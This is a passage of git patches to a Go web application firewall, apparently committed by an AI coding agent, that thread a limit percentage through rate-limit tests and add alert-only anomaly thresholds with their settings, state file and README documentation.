func TestCountGivesTheRequestsInEachWindow(t *testing.T) { start := midnight() for range 3 { - limiter.Count(client, start) + limiter.Count(client, start, whole) } // A quarter into the next hour, the minute has only this request. The // hour still covers three quarters of the bucket before, with its three // requests, which count 2.25, and this one: 3.25. The day covers all // four. - counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4)) + counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole) want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4} if counts != want { @@ -364,7 +424,7 @@ func wantCount( ) { t.Helper() - _, hit, _ := limiter.Count(client, now) + _, hit, _ := limiter.Count(client, now, whole) if hit.Window != want { t.Errorf("request from %s at %s is over %q, want %q", client, now.Format(time.RFC3339), hit.Window, want) @@ -379,7 +439,7 @@ func wantBytesCount( ) { t.Helper() - _, hit, _ := limiter.CountBytes(client, now, bytes) + _, hit, _ := limiter.CountBytes(client, now, bytes, whole) if hit.Kind != want { t.Errorf("%d bytes from %s at %s break a limit on %q, want %q", bytes, client, now.Format(time.RFC3339), hit.Kind, want) diff --git a/internal/ratelimit/snapshot_test.go b/internal/ratelimit/snapshot_test.go index bc5ac53..56d2d45 100644 --- a/internal/ratelimit/snapshot_test.go +++ b/internal/ratelimit/snapshot_test.go @@ -16,7 +16,7 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) { limiter := ratelimit.New(ratelimit.Limits{}) for _, i := range []int{2, 3, 0, 1} { - limiter.Count(netip.MustParsePrefix(want[i]), midnight()) + limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole) } snapshot := limiter.Snapshot() @@ -63,8 +63,8 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { start := midnight() limiter := ratelimit.New(ratelimit.Limits{}) - limiter.Count(client, start) - limiter.CountBytes(client, start, 5) + limiter.Count(client, start, whole) + limiter.CountBytes(client, start, 5, whole) limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) loaded := func(now time.Time) ratelimit.Client { diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 442975c..c583281 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -117,6 +117,15 @@ type Line struct { // ActionBanned, ActionCountryDenied, ActionRateLimited or // ActionRuleBlocked. WouldAction string `json:"would_action,omitempty"` + // LimitPercent and LimitPercentSetting are, for a request the rate + // limits counted whose client a biased threshold gives a percentage of + // the rate limits below 100, that percentage and the setting that gave + // it. BytesPercent and BytesPercentSetting are the same for the byte + // limits. + LimitPercent *int64 `json:"limit_percent,omitempty"` + LimitPercentSetting string `json:"limit_percent_setting,omitempty"` + BytesPercent *int64 `json:"bytes_percent,omitempty"` + BytesPercentSetting string `json:"bytes_percent_setting,omitempty"` // Counts are, for a request the rate limits counted, the client's // requests as they counted them with this one, and its bytes as the // byte limits counted them, with this request's once it has ended if diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 3ffc3c7..e92b54f 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -45,6 +45,9 @@ const ( // maxLogLines is how many lines of the process log wait for a test to // read them. maxLogLines = 64 + // whole is the percentage of each limit a client gets when nothing + // lowers its limits. + whole = 100 ) // permanentBansJSON is bans.json holding permanentBan. @@ -713,7 +716,7 @@ func TestFailedWriteLeavesTheFileAsItWas(t *testing.T) { params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{}) - params.Limiter.Count(netip.MustParsePrefix("203.0.113.9/32"), midnight()) + params.Limiter.Count(netip.MustParsePrefix("203.0.113.9/32"), midnight(), whole) err = files.WriteAll() if err == nil || !strings.Contains(err.Error(), bansJSON+".tmp") { @@ -1320,10 +1323,10 @@ func fill(params state.Params) { bans.Notes{RuleID: "env-file", Target: "path"}) for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} { - params.Limiter.Count(netip.MustParsePrefix(c), now) + params.Limiter.Count(netip.MustParsePrefix(c), now, whole) } - params.Limiter.CountBytes(client, now, 8) + params.Limiter.CountBytes(client, now, 8, whole) params.Limiter.AddToHistory(client, now, ratelimit.Request{ Forwarded: true, Status: 200, RequestBytes: 3, ResponseBytes: 5, }) From 82e20e0cb53aee0d69fead5752d39a57b7935c29 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 16:12:19 +0200 Subject: [PATCH 39/64] Anomaly thresholds: alerts for unusual traffic, nothing refused (closes #101) SWWAF_ANOMALY_CLIENT_*, _NET_*, _ASN_*, _TOTAL_* and SWWAF_WATCH_* with SWWAF_WATCH_NETS: requests and bytes per minute and per hour, each off by default; with all off, nothing is counted. Otherwise every request but the health check is counted, allow-listed and exempt ones included; a count over its threshold raises an anomaly alert, with a cooldown per scope. At most 20,000 counters, kept in alerts.json. A per-AS-number threshold with lookups off, or a malformed SWWAF_WATCH_NETS, stops the start. A cooldown that has run out is dropped as the hour ends, whatever it held back; the hour's summary gives its repeats. Judgement call: refused requests are counted too. Judgement call: per-client counters are kept in alerts.json, which SPEC.md does not list. Judgement call: a request counts for an AS number only if the lookup answered before it ended. Model: opus-5-5 --- README.md | 319 ++++++++++++------- internal/alerts/alerts.go | 129 +++++--- internal/alerts/alerts_test.go | 112 +++++-- internal/anomaly/anomaly.go | 406 ++++++++++++++++++++++++ internal/anomaly/anomaly_test.go | 238 ++++++++++++++ internal/config/config.go | 120 ++++++- internal/config/config_test.go | 222 ++++++++++++- internal/proxy/anomaly_internal_test.go | 30 ++ internal/proxy/anomaly_test.go | 377 ++++++++++++++++++++++ internal/proxy/bans.go | 64 ++-- internal/proxy/biased_test.go | 27 +- internal/proxy/proxy.go | 19 +- internal/proxy/request.go | 77 +++-- internal/ratelimit/ratelimit.go | 28 +- internal/smallwebwaf/smallwebwaf.go | 1 + internal/state/state.go | 88 ++++- internal/state/state_test.go | 172 +++++++++- 17 files changed, 2132 insertions(+), 297 deletions(-) create mode 100644 internal/anomaly/anomaly.go create mode 100644 internal/anomaly/anomaly_test.go create mode 100644 internal/proxy/anomaly_internal_test.go create mode 100644 internal/proxy/anomaly_test.go diff --git a/README.md b/README.md index a77714e..7740a42 100644 --- a/README.md +++ b/README.md @@ -22,32 +22,33 @@ fields, which come a little later, and the metrics endpoint and the header size and the idle time as settings, which come last in it. So are the four parts of the stage after it: the rule files, with the bans for a clear sign of attack, the other admin endpoints, alerts to all three destinations, a JSON webhook, -Slack and ntfy, and remote log sending. So are three parts of the stage after -that: the AS number and country of every client, looked up through GeoJS or in -the IPinfo Lite database file, the byte limits, and the biased thresholds, lower -limits for the AS numbers and countries you list. `smallwebwaf` passes each -request to the app and the app's answer back, unchanged, within its timeouts and -size limits, works out each client's address, looks up its AS number and country -unless you switch that off, bans a client that sends too many requests or too -many bytes, not counting those for the paths you choose, with lower limits for -the clients of the AS numbers and countries you list, refuses a client that -comes from a country you refuse or from a network you refuse, lets the networks -you choose through, checks each request against the rule files and bans a client -whose request is a clear sign of attack, keeps its bans, each client's counters -and history, and GeoJS's answers in JSON files across restarts, takes in your -edits of those files, such as a ban you make, keep or lift, and of the rule -files while it runs, writes a JSON log line for every request, sends its log -lines to a syslog server too if you name one, sends an alert to a webhook, to -Slack and to ntfy, each if you name one, for each ban it makes or makes -permanent, for GeoJS failing, for a rule file or state file with an error and -for a replacement of the lookup database it cannot read, serves Prometheus -metrics to a scraper that holds the metrics token, lets an admin who holds the -admin token list, add and lift bans and ask what it knows of a client, and in -`observe` mode passes on the requests it would refuse, logging what it would -have done with them. It comes as the image the app's own image is built on. The -rest of the design comes after that, in the order of the build order in -[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in -[`EVALUATION.md`](EVALUATION.md). +Slack and ntfy, and remote log sending. So is the stage after that: the AS +number and country of every client, looked up through GeoJS or in the IPinfo +Lite database file, the byte limits, the biased thresholds, lower limits for the +AS numbers and countries you list, and the anomaly thresholds, alerts for +unusual traffic that refuse nothing. `smallwebwaf` passes each request to the +app and the app's answer back, unchanged, within its timeouts and size limits, +works out each client's address, looks up its AS number and country unless you +switch that off, bans a client that sends too many requests or too many bytes, +not counting those for the paths you choose, with lower limits for the clients +of the AS numbers and countries you list, refuses a client that comes from a +country you refuse or from a network you refuse, lets the networks you choose +through, checks each request against the rule files and bans a client whose +request is a clear sign of attack, keeps its bans, each client's counters and +history, and GeoJS's answers in JSON files across restarts, takes in your edits +of those files, such as a ban you make, keep or lift, and of the rule files +while it runs, writes a JSON log line for every request, sends its log lines to +a syslog server too if you name one, sends an alert to a webhook, to Slack and +to ntfy, each if you name one, for each ban it makes or makes permanent, for +traffic over an anomaly threshold you set, for GeoJS failing, for a rule file or +state file with an error and for a replacement of the lookup database it cannot +read, serves Prometheus metrics to a scraper that holds the metrics token, lets +an admin who holds the admin token list, add and lift bans and ask what it knows +of a client, and in `observe` mode passes on the requests it would refuse, +logging what it would have done with them. It comes as the image the app's own +image is built on. The rest of the design comes after that, in the order of the +build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to +the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -177,13 +178,13 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and AS number lookup" below), for the request log, the client's history, the notes - of its bans, their alerts and the metrics. The file answers at once. With - GeoJS, a request waits for its client's first answer only while a setting acts - on it, a country list, `SWWAF_ADD_LOOKUP_HEADERS` or a biased threshold that - lowers a limit. Otherwise it goes on at once, and the answer reaches the - client's history and the notes of its bans when it comes, but not the log - lines of the requests that went on without it, nor the alerts already raised - for those bans. + of its bans, their alerts, the metrics and the anomaly thresholds per AS + number. The file answers at once. With GeoJS, a request waits for its client's + first answer only while a setting acts on it, a country list, + `SWWAF_ADD_LOOKUP_HEADERS` or a biased threshold that lowers a limit. + Otherwise it goes on at once, and the answer reaches the client's history and + the notes of its bans when it comes, but not the log lines of the requests + that went on without it, nor the alerts already raised for those bans. - Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon as the client's country is known and before its body is read; such a request is not counted for the rate limits. A client on a private, loopback or @@ -237,13 +238,30 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of - Sends every line it writes on stdout to a syslog server as well, while `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). -- Sends an alert for each ban it makes or makes permanent, for GeoJS failing, - for a rule file or state file with an error, and for a replacement of the - lookup database it cannot read, holding back repeats and, past an hourly - limit, rolling the rest into one summary, to each destination you name: as a - JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to - the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a - message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). +- Sends an alert for each ban it makes or makes permanent, for a count over an + anomaly threshold, for GeoJS failing, for a rule file or state file with an + error, and for a replacement of the lookup database it cannot read, holding + back repeats and, past an hourly limit, rolling the rest into one summary, to + each destination you name: as a JSON object to the webhook + `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming webhook + `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy topic + `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). +- Counts requests and their bytes over a minute and an hour, per client, per + netblock around a client, per AS number, for the whole service and per named + netblock, and sends an `anomaly` alert for a count over the anomaly threshold + you set for it (see the anomaly thresholds below). These thresholds only + alert: they refuse and ban nothing. A scope whose four thresholds are all off + is not counted, and within a scope only the counts whose threshold is set are + counted. Every request but the health check is counted, whatever is done with + it: one that is refused, one from a client in `SWWAF_ALLOW_NETS` or + `SWWAF_RATE_LIMIT_EXEMPT_NETS`, and one for a path in + `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, with its body bytes once it has ended, those + of the answer, of the request or both, as `SWWAF_BYTES_COUNT` says. A request + is counted for its client's AS number only if the lookup has given that by the + time the request ends: no request waits for it, and a client in + `SWWAF_ALLOW_NETS`, which is not looked up, counts for no AS number. At most + 20,000 counters are kept, the one counted least recently dropped first, and + `alerts.json` keeps them across a restart (see "State files" below). ## Settings @@ -330,9 +348,10 @@ effective settings are logged at start. address of every new visitor, `file`, the IPinfo Lite database file `SWWAF_LOOKUP_DB_PATH` names, or `off`, which looks up no client and sends no address to GeoJS. With `off`, a country list that is not empty, - `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, or a biased threshold that lowers a + `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, a biased threshold that lowers a limit, a list of them that is not empty or `SWWAF_UNKNOWN_LIMIT_PERCENT` below - 100, stops the start, with a message naming it and `SWWAF_LOOKUP_SOURCE`. + 100, or an anomaly threshold per AS number that is not `off`, stops the start, + with a message naming it and `SWWAF_LOOKUP_SOURCE`. - `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its `.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`. `file` without it, or it with any other `SWWAF_LOOKUP_SOURCE`, the default included, stops the start, with a @@ -467,16 +486,46 @@ effective settings are logged at start. `SWWAF_INSTANCE_NAME`, which ntfy is sent in the title. - `SWWAF_ALERT_EVENTS` (default `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): - the events alerts are sent for. `waf_block`, `anomaly` and `reputation_hit` - come with the features that raise them; nothing raises them yet. + the events alerts are sent for. `waf_block` and `reputation_hit` come with the + features that raise them; nothing raises them yet. - `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held back (see "Alerts" below). - `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour; the rest of the hour's alerts are rolled into one summary. +- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`, + `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`, + `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` and + `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR` (default `off`): the anomaly thresholds + per client, the most requests and the most bytes a client may have counted in + a minute and in an hour before an `anomaly` alert is sent for it. They refuse + and ban nothing. Each scope below has the same four thresholds, their names + ending in `REQUESTS_PER_MINUTE`, `REQUESTS_PER_HOUR`, `BYTES_PER_MINUTE` and + `BYTES_PER_HOUR`, and each is `off` by default, since what is unusual depends + on each service's normal traffic, which the metrics show. +- `SWWAF_ANOMALY_NET_REQUESTS_PER_MINUTE`, `..._PER_HOUR`, + `SWWAF_ANOMALY_NET_BYTES_PER_MINUTE` and `..._PER_HOUR` (default `off`): the + anomaly thresholds per netblock around a client, which is + `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`) long, from 0 to 32, for an IPv4 + client, and `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`) long, from 0 to 128, + for an IPv6 one. +- `SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE`, `..._PER_HOUR`, + `SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE` and `..._PER_HOUR` (default `off`): the + anomaly thresholds per AS number. +- `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE`, `..._PER_HOUR`, + `SWWAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` and `..._PER_HOUR` (default `off`): the + anomaly thresholds for the whole service. +- `SWWAF_WATCH_NETS` (default empty): named netblocks, each a name, `=` and a + netblock, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item + without `=`, without a name or without a valid netblock, or a name listed + twice, stops the start. `SWWAF_WATCH_REQUESTS_PER_MINUTE`, `..._PER_HOUR`, + `SWWAF_WATCH_BYTES_PER_MINUTE` and `..._PER_HOUR` (default `off`) are the + anomaly thresholds of each named netblock as a whole, which counts every + client inside it; a client inside several is counted in each. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 -bytes). Rate limits are whole numbers of requests, and byte limits are sizes. +bytes). Rate limits and the anomaly thresholds on requests are whole numbers of +requests, and byte limits and the anomaly thresholds on bytes are sizes. Netblocks are in CIDR form, and a bare address stands for itself alone. Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as @@ -485,15 +534,16 @@ code on both country lists. AS numbers are `AS` and the number, in either case. Percentages are whole numbers from 0 to 100, and an entry of a list of them is an AS number or a country, `:` and a percentage; an AS number or a country listed twice in one of them stops the start. `off` switches a timeout, a size -limit, a rate limit, a byte limit, `SWWAF_ALERT_COOLDOWN` or -`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, +limit, a rate limit, a byte limit, an anomaly threshold, `SWWAF_ALERT_COOLDOWN` +or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, the ban settings, the -state settings, `SWWAF_METRICS_TOP_N` and `SWWAF_LOG_REMOTE_BUFFER` cannot be -off. +state settings, `SWWAF_METRICS_TOP_N`, `SWWAF_LOG_REMOTE_BUFFER`, +`SWWAF_ANOMALY_NET_V4_PREFIX` and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. At -most 100,000 answers from GeoJS are kept, for 7 days each. +most 100,000 answers from GeoJS are kept, for 7 days each, and at most 20,000 +anomaly counters. ### Settings given as files @@ -684,6 +734,9 @@ it, as below. An alert is for one of these events, and is sent when clear sign of attack. - `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack that a request made permanent. +- `anomaly`: a count of requests or bytes over an anomaly threshold, raised by + each request that ends with the count over it, in `observe` mode as in + `enforce` mode. It refuses and bans nothing. - `source_failure`: GeoJS failing or refusing `smallwebwaf`. - `file_error`: a rule file edited while it runs that has an error, an edit of a state file set aside as `.bad`, a state file it could not write while @@ -745,19 +798,29 @@ is sent on one line: - `instance` is `SWWAF_INSTANCE_NAME`, and `time` when the alert was raised, in UTC. - `client` is the address of the client whose request raised the alert, and - `netblock` the netblock of the ban; both are empty for `source_failure` and + `netblock` the netblock of the ban, or for an `anomaly`, the netblock counted: + the client's own, the netblock around it or a named netblock, and none for an + AS number or the whole service; both are empty for `source_failure` and `file_error`. `asn`, `as_name` and `country` are, for a ban, the client's as the ban's notes give them when the alert is raised: empty, as in this alert, - when GeoJS had not answered about the client by then. -- `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`. + when GeoJS had not answered about the client by then; for an `anomaly`, the + client's as the lookup gave them by the time its request ended. +- `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`; + for an `anomaly`, what was counted over which threshold, such as + `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`. - `detail` is what is particular to the event: for a ban, its `cause`, when it ends as `ban_expires`, in the form the request log gives it, and its `notes`, - as `bans.json` gives them; for `source_failure`, the `source`, `geojs`, the - `error`, and when GeoJS is asked again, `asking_again_in`; for `file_error`, - the `file`, which for an edit set aside is the file it was renamed to, and the - `error`, which for a file that does not parse names where in it the error is. + as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`, + `asn`, `total` or `watch`, as the settings name them, the `asn` counted for + `asn` and the `name` of the named netblock for `watch`, the `window`, `minute` + or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted + as the rate limits weigh theirs, and the `threshold`; for `source_failure`, + the `source`, `geojs`, the `error`, and when GeoJS is asked again, + `asking_again_in`; for `file_error`, the `file`, which for an edit set aside + is the file it was renamed to, and the `error`, which for a file that does not + parse names where in it the error is. - `suppressed_repeats` is how many repeats the cooldown held back before this - alert. + alert, and for a `summary`, those no other alert gives (see below). Slack and ntfy are each sent the alert as a message: a title, the instance and the event, such as `fsn1app1/gitea: ban`, and a text, the `reason`, then a line @@ -802,17 +865,21 @@ and Slack this JSON object, shown indented; it is sent on one line: An alert for the same event as the last one sent, on the same netblock, or for a `file_error` about the same file, or for a `source_failure` about the same -source, less than `SWWAF_ALERT_COOLDOWN` after it, is a repeat: it is held back -and counted, and the next alert sent for them gives that count as -`suppressed_repeats`. +source, or for an `anomaly` in the same scope, with the same netblock, AS number +or name, whatever its window and kind, less than `SWWAF_ALERT_COOLDOWN` after +it, is a repeat: it is held back and counted, and the next alert sent for them +gives that count as `suppressed_repeats`. As each hour of the clock, in UTC, +ends, the cooldowns that have run out are dropped, and the repeats they held +back, which no alert sent since has given, go in that hour's summary. -Past `SWWAF_ALERT_MAX_PER_HOUR` alerts in an hour of the clock, in UTC, the -hour's other alerts are held back and counted by event. Once the hour has ended, -one alert sums them up: its `event` is `summary`, its `reason` says how many -were held back, and its `detail` gives the `hour` as when it started, the -`count`, and the count for each event, as `events`. An alert held back this way -starts no cooldown, and the repeats held back before it are given by the next -alert sent for the same event and netblock, file or source. +Past `SWWAF_ALERT_MAX_PER_HOUR` alerts in an hour, the hour's other alerts are +held back and counted by event. An alert held back this way starts no cooldown. +Once the hour has ended, one alert sums up the alerts held back and the repeats +of the cooldowns dropped: its `event` is `summary`, its `reason` says how many +of each were held back, its `detail` gives the `hour` as when it started, the +`count` of alerts held back, and the count for each event, as `events`, and its +`suppressed_repeats` gives the repeats. An hour with neither ends without a +summary. Each destination has a queue of its own, of at most 1000 alerts, from which they are sent to it one at a time, the oldest first, so a destination that is slow or @@ -833,7 +900,8 @@ restart the alerts waiting are sent, and the cooldowns go on. `smallwebwaf` keeps its state in memory and a copy of it in four JSON files in `SWWAF_STATE_DIR`, `/var/lib/smallwebwaf` by default, as "Persistent state" in [`SPEC.md`](SPEC.md) describes. Each has a top-level `version`, 1, and lists its -entries by client address, but for the alerts waiting, with times in UTC. +entries by client address, but for the alerts waiting, and the anomaly counters, +which are listed by scope first, with times in UTC. - `bans.json`: every ban with its notes, indented to be read. A permanent ban's `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or @@ -861,16 +929,23 @@ entries by client address, but for the alerts waiting, with times in UTC. number, AS name and country, when GeoJS gave it and when it was last used. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be read: under `cooldowns`, for each event and netblock, or event and `file` or - `source`, or event alone, when the last alert was sent, `sent`, and the - repeats held back since, `suppressed_repeats`; under `hour`, the hour under - way, from its `start`, the alerts `sent` in it and those `held_back` for its - summary, by event; and under `waiting`, for each destination you name, - `webhook`, `slack` or `ntfy`, the alerts still waiting to be sent to it, the - oldest first, each as the webhook is sent it. As an hour ends, the cooldowns - that have run out with no repeat held back are dropped. As the file is read, - the alerts waiting for a destination you no longer name are dropped. A file - whose `waiting` is a list, as it was before alerts went to Slack and ntfy too, - stops the start: put the list under `"webhook"`, or remove the file. + `source`, or for an `anomaly`, its `scope` with its `netblock`, `asn` or + `name`, or event alone, when the last alert was sent, `sent`, and the repeats + held back since, `suppressed_repeats`; under `hour`, the hour under way, from + its `start`, the alerts `sent` in it and those `held_back` for its summary, by + event; under `waiting`, for each destination you name, `webhook`, `slack` or + `ntfy`, the alerts still waiting to be sent to it, the oldest first, each as + the webhook is sent it; and under `anomaly_counters`, each anomaly counter: + its `scope`, as an `anomaly` alert names it, with the `netblock` of a client, + of a netblock around a client or of a named netblock, the `asn` of an AS + number and the `name` of a named netblock, and its two buckets of requests in + the minute and the hour, `minute` and `hour`, and of bytes, `minute_bytes` and + `hour_bytes`, each left out while it is empty. As an hour ends, the cooldowns + that have run out are dropped, and the hour's summary gives the repeats they + held back. As the file is read, the alerts waiting for a destination you no + longer name are dropped. A file whose `waiting` is a list, as it was before + alerts went to Slack and ntfy too, stops the start: put the list under + `"webhook"`, or remove the file. `bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted through `DELETE /_smallwebwaf/bans/`, or made permanent, with every such @@ -882,22 +957,27 @@ whole. A write that fails is logged, raised as a `file_error` alert while changed since the last write. At start the files are read back: each client keeps its counts, so a restart -gives it no fresh allowance, and each ban keeps refusing every client in its -netblock until it ends, even after `SWWAF_BAN_SCOPE_V4_PREFIX` has changed. A -netblock whose address has bits past its length, such as `203.0.113.9/24`, is -read as the netblock it is in, `203.0.113.0/24`. Buckets and answers whose time -has passed are dropped. A missing file is empty state, as on a first start. A -file that does not parse, or has another `version`, stops the start with a -message naming the file, and the line and column where Go's JSON decoder gives -them; so does a state directory `smallwebwaf` cannot write. So does an entry -without a field it needs, named with the entry's place in the file: a ban's -`netblock`, `start` or `expires`, which is `null` for a permanent ban; a -client's `client`, or the `start` of a window in which it has requests or bytes; -an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, -or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or -`time`. So does a ban whose `cause` is not `limit`, `attack` or `admin`, and -alerts waiting for a destination that is not `webhook`, `slack` or `ntfy`. An -answer's `asn` or `as_name` left out reads as empty. +gives it no fresh allowance, each anomaly counter keeps its counts, and each ban +keeps refusing every client in its netblock until it ends, even after +`SWWAF_BAN_SCOPE_V4_PREFIX` has changed. A netblock whose address has bits past +its length, such as `203.0.113.9/24`, is read as the netblock it is in, +`203.0.113.0/24`. Buckets and answers whose time has passed are dropped, and so +is an anomaly counter left with no bucket. A missing file is empty state, as on +a first start. A file that does not parse, or has another `version`, stops the +start with a message naming the file, and the line and column where Go's JSON +decoder gives them; so does a state directory `smallwebwaf` cannot write. So +does an entry without a field it needs, named with the entry's place in the +file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent +ban; a client's `client`, or the `start` of a window in which it has requests or +bytes; an answer's `client`, `country`, which is `""` for a client GeoJS cannot +place, or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` +or `time`; an anomaly counter's `netblock`, unless it counts an AS number or the +whole service, its `asn`, for an AS number, its `name`, for a named netblock, or +the `start` of a window in which it has requests or bytes. So does a ban whose +`cause` is not `limit`, `attack` or `admin`, alerts waiting for a destination +that is not `webhook`, `slack` or `ntfy`, and an anomaly counter whose `scope` +is not `client`, `net`, `asn`, `total` or `watch`. An answer's `asn` or +`as_name` left out reads as empty. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -907,13 +987,14 @@ writes a file it takes in any edit made since, so your edit is not overwritten; a change `smallwebwaf` made after you opened the file, such as a new ban, is lost when you save over it. An edit that would stop the start, because it does not parse, has another `version`, leaves out a field an entry needs, gives a ban -another `cause` or names another destination, does not stop the running -`smallwebwaf`: it keeps what it holds, and at the file's next write renames your -file to `.bad`, such as `bans.json.bad`, writes the file again from -memory, logs the file and where the error is, and raises a `file_error` alert -for it. It waits for that write because an editor's file can be read before the -editor has finished writing it. Mend the `.bad` file and move it back. A file -you remove is written again at its next write. +another `cause`, names another destination or gives an anomaly counter another +`scope`, does not stop the running `smallwebwaf`: it keeps what it holds, and at +the file's next write renames your file to `.bad`, such as +`bans.json.bad`, writes the file again from memory, logs the file and where the +error is, and raises a `file_error` alert for it. It waits for that write +because an editor's file can be read before the editor has finished writing it. +Mend the `.bad` file and move it back. A file you remove is written again at its +next write. To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start` and its `expires`, `null` for a ban that never ends; its `reason` and its @@ -1304,8 +1385,8 @@ For each request `smallwebwaf`: - forwards it to the app and streams the response back, within the size and time limits; - counts the bytes and any refusal by the rule files or the Core Rule Set, bans - the client if it broke a limit, updates its history, sends any alerts that are - due, and writes the log line. + the client if it broke a limit, updates its history and the anomaly counters, + sends any alerts that are due, and writes the log line. A minimal deployment is the app's own Dockerfile, built on the `smallwebwaf` image, with no setting. That image is built on Ubuntu 26.04 LTS, the newest @@ -1394,14 +1475,15 @@ the metrics, failure behaviour and the build order. `smallwebwaf` looks up the AS number and country of every client through GeoJS, a free web service that needs no account and no file, for the request log, the client's history, the notes of its bans, their alerts and the metrics, and for -the country lists when you set them. This means that GeoJS is told the address -of every new visitor, whether or not a setting uses the answer, unless you set -`SWWAF_LOOKUP_SOURCE=off`. The only visitors it is not told about are those in -`SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, those whose netblock a ban covers, and -those on a private, loopback or link-local address. An IPv6 visitor is asked -about by the first address of its /64. Each answer is kept for seven days, in -memory and in `lookups.json`, so that it survives a restart, and a visitor whose -answer is kept is not asked about again. +the country lists and the anomaly thresholds per AS number when you set them. +This means that GeoJS is told the address of every new visitor, whether or not a +setting uses the answer, unless you set `SWWAF_LOOKUP_SOURCE=off`. The only +visitors it is not told about are those in `SWWAF_ALLOW_NETS` or +`SWWAF_DENY_NETS`, those whose netblock a ban covers, and those on a private, +loopback or link-local address. An IPv6 visitor is asked about by the first +address of its /64. Each answer is kept for seven days, in memory and in +`lookups.json`, so that it survives a restart, and a visitor whose answer is +kept is not asked about again. A request waits for its client's first answer only while a setting acts on it before the request goes on: a country list, `SWWAF_ADD_LOOKUP_HEADERS`, or a @@ -1470,7 +1552,9 @@ GeoJS. what it would have refused for noted in the log line. A request under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` instead of reaching the app. Once the answer to a request passed to the app - has ended, `countBytes` counts its bytes for the byte limits. + has ended, `countBytes` counts its bytes for the byte limits, and once any + request but the health check has ended, `countAnomalies` counts it for the + anomaly thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -1486,6 +1570,10 @@ GeoJS. - `internal/ratelimit`: the table of clients: counts each client's requests and bytes, tells when they take it over a rate limit or a byte limit, and keeps each client's history. +- `internal/anomaly`: the 